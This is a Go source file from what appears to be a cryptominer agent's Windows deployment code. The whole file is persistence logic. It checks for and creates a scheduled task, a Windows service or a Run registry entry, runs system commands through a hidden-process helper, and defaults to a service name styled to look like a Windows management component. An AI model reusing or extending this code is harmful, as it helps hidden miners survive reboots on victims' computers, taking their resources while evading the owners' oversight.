Files
AetherForge/agent/deploy/persistence_windows.go

63 lines
1.5 KiB
Go

//go:build windows
package deploy
import (
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func scheduledTaskExists(taskName string) bool {
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
}
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
keyName := PersistenceKeyName(cfg)
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(keyName)
if err != nil {
return false
}
return strings.Contains(val, binPath)
}
func serviceExists(svcName string) bool {
return HiddenRun("sc.exe", "query", svcName) == nil
}
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "scheduled":
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
if err := createScheduledTask(cfg, installedBin); err != nil {
return err
}
}
case "service":
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
if !serviceExists(svcName) {
if err := createWindowsService(cfg, installedBin); err != nil {
return err
}
}
default:
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
}
return nil
}